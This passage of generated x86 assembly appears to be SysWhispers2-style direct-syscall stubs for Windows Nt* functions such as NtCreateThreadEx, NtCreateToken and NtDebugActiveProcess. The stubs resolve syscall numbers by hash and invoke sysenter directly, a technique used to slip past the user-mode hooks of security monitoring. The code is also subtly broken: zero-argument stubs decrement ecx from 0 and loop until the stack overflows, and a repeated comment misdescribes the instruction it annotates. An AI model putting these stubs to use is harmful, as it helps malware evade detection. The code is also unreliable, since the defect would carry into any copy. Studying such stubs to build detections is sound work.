call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateJobSet ENDP
NtCreateKeyTransacted PROC
push ebp
mov ebp, esp
push 07CDFA562h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 8h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateKeyTransacted ENDP
NtCreateKeyedEvent PROC
push ebp
mov ebp, esp
push 09E045956h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateKeyedEvent ENDP
NtCreateLowBoxToken PROC
push ebp
mov ebp, esp
push 09E54025Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateLowBoxToken ENDP
NtCreateMailslotFile PROC
push ebp
mov ebp, esp
push 07FC4B571h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 8h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateMailslotFile ENDP
NtCreateMutant PROC
push ebp
mov ebp, esp
push 0872186B5h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateMutant ENDP
NtCreateNamedPipeFile PROC
push ebp
mov ebp, esp
push 0E8482C12h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 14h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateNamedPipeFile ENDP
NtCreatePagingFile PROC
push ebp
mov ebp, esp
push 016B9C982h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreatePagingFile ENDP
NtCreatePartition PROC
push ebp
mov ebp, esp
push 08AD38843h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreatePartition ENDP
NtCreatePort PROC
push ebp
mov ebp, esp
push 0A6F258F1h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreatePort ENDP
NtCreatePrivateNamespace PROC
push ebp
mov ebp, esp
push 019B5D21Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreatePrivateNamespace ENDP
NtCreateProcess PROC
push ebp
mov ebp, esp
push 0319E3010h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 8h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateProcess ENDP
NtCreateProfile PROC
push ebp
mov ebp, esp
push 036A14072h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateProfile ENDP
NtCreateProfileEx PROC
push ebp
mov ebp, esp
push 07CD28AACh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 10h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateProfileEx ENDP
NtCreateRegistryTransaction PROC
push ebp
mov ebp, esp
push 0991EC1D0h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateRegistryTransaction ENDP
NtCreateResourceManager PROC
push ebp
mov ebp, esp
push 0029EC5D4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 7h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateResourceManager ENDP
NtCreateSemaphore PROC
push ebp
mov ebp, esp
push 0CB4BF5C5h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateSemaphore ENDP
NtCreateSymbolicLinkObject PROC
push ebp
mov ebp, esp
push 0163860C5h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateSymbolicLinkObject ENDP
NtCreateThreadEx PROC
push ebp
mov ebp, esp
push 046BC3042h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 11h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateThreadEx ENDP
NtCreateTimer PROC
push ebp
mov ebp, esp
push 074575104h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateTimer ENDP
NtCreateTimer2 PROC
push ebp
mov ebp, esp
push 07022D1BDh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateTimer2 ENDP
NtCreateToken PROC
push ebp
mov ebp, esp
push 00C312A9Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 13h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateToken ENDP
NtCreateTokenEx PROC
push ebp
mov ebp, esp
push 0B8ABF810h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 17h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateTokenEx ENDP
NtCreateTransaction PROC
push ebp
mov ebp, esp
push 05CC5725Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 10h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateTransaction ENDP
NtCreateTransactionManager PROC
push ebp
mov ebp, esp
push 00E2E72C4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateTransactionManager ENDP
NtCreateUserProcess PROC
push ebp
mov ebp, esp
push 00BA7063Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 11h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateUserProcess ENDP
NtCreateWaitCompletionPacket PROC
push ebp
mov ebp, esp
push 0079A21C0h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateWaitCompletionPacket ENDP
NtCreateWaitablePort PROC
push ebp
mov ebp, esp
push 025403CC4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateWaitablePort ENDP
NtCreateWnfStateName PROC
push ebp
mov ebp, esp
push 0853A597Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 7h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateWnfStateName ENDP
NtCreateWorkerFactory PROC
push ebp
mov ebp, esp
push 0088C7A74h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 10h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtCreateWorkerFactory ENDP
NtDebugActiveProcess PROC
push ebp
mov ebp, esp
push 0B0335121h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDebugActiveProcess ENDP
NtDebugContinue PROC
push ebp
mov ebp, esp
push 01E94F9D8h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDebugContinue ENDP
NtDeleteAtom PROC
push ebp
mov ebp, esp
push 036A3AB92h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDeleteAtom ENDP
NtDeleteBootEntry PROC
push ebp
mov ebp, esp
push 0099D0111h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDeleteBootEntry ENDP
NtDeleteDriverEntry PROC
push ebp
mov ebp, esp
push 00B960104h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDeleteDriverEntry ENDP
NtDeleteFile PROC
push ebp
mov ebp, esp
push 047C55079h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDeleteFile ENDP
NtDeleteKey PROC
push ebp
mov ebp, esp
push 0E723055Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDeleteKey ENDP
NtDeleteObjectAuditAlarm PROC
push ebp
mov ebp, esp
push 0C12F3BB9h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDeleteObjectAuditAlarm ENDP
NtDeletePrivateNamespace PROC
push ebp
mov ebp, esp
push 096B95390h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDeletePrivateNamespace ENDP
NtDeleteValueKey PROC
push ebp
mov ebp, esp
push 07DE46C7Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDeleteValueKey ENDP
NtDeleteWnfStateData PROC
push ebp
mov ebp, esp
push 0840E96BEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDeleteWnfStateData ENDP
NtDeleteWnfStateName PROC
push ebp
mov ebp, esp
push 0921C9FBDh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDeleteWnfStateName ENDP
NtDisableLastKnownGood PROC
push ebp
mov ebp, esp
push 0F86AEEDBh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDisableLastKnownGood ENDP
NtDisplayString PROC
push ebp
mov ebp, esp
push 00EA14480h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDisplayString ENDP
NtDrawText PROC
push ebp
mov ebp, esp
push 0F94CECCDh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtDrawText ENDP
NtEnableLastKnownGood PROC
push ebp
mov ebp, esp
push 0A4325A23h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtEnableLastKnownGood ENDP
NtEnumerateBootEntries PROC
push ebp
mov ebp, esp
push 02490514Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtEnumerateBootEntries ENDP
NtEnumerateDriverEntries PROC
push ebp
mov ebp, esp
push 060C4FAEBh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtEnumerateDriverEntries ENDP
NtEnumerateSystemEnvironmentValuesEx PROC
push ebp
mov ebp, esp
push 07E5F08A1h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtEnumerateSystemEnvironmentValuesEx ENDP
NtEnumerateTransactionObject PROC
push ebp
mov ebp, esp
push 0E4B8EC24h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtEnumerateTransactionObject ENDP
NtExtendSection PROC
push ebp
mov ebp, esp
push 034AD1679h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtExtendSection ENDP
NtFilterBootOption PROC
push ebp
mov ebp, esp
push 01A347CE4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFilterBootOption ENDP
NtFilterToken PROC
push ebp
mov ebp, esp
push 0C759CDC2h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFilterToken ENDP
NtFilterTokenEx PROC
push ebp
mov ebp, esp
push 08A9B46DEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 14h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFilterTokenEx ENDP
NtFlushBuffersFileEx PROC
push ebp
mov ebp, esp
push 0043650EBh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFlushBuffersFileEx ENDP
NtFlushInstallUILanguage PROC
push ebp
mov ebp, esp
push 083D47089h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFlushInstallUILanguage ENDP
NtFlushInstructionCache PROC
push ebp
mov ebp, esp
push 01FA1491Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFlushInstructionCache ENDP
NtFlushKey PROC
push ebp
mov ebp, esp
push 040E45579h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFlushKey ENDP
NtFlushProcessWriteBuffers PROC
push ebp
mov ebp, esp
push 00929CD7Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFlushProcessWriteBuffers ENDP
NtFlushVirtualMemory PROC
push ebp
mov ebp, esp
push 0831C899Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFlushVirtualMemory ENDP
NtFlushWriteBuffer PROC
push ebp
mov ebp, esp
push 097A4B5F4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFlushWriteBuffer ENDP
NtFreeUserPhysicalPages PROC
push ebp
mov ebp, esp
push 095CFA867h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFreeUserPhysicalPages ENDP
NtFreezeRegistry PROC
push ebp
mov ebp, esp
push 0CC90FC2Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFreezeRegistry ENDP
NtFreezeTransactions PROC
push ebp
mov ebp, esp
push 05DC95543h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
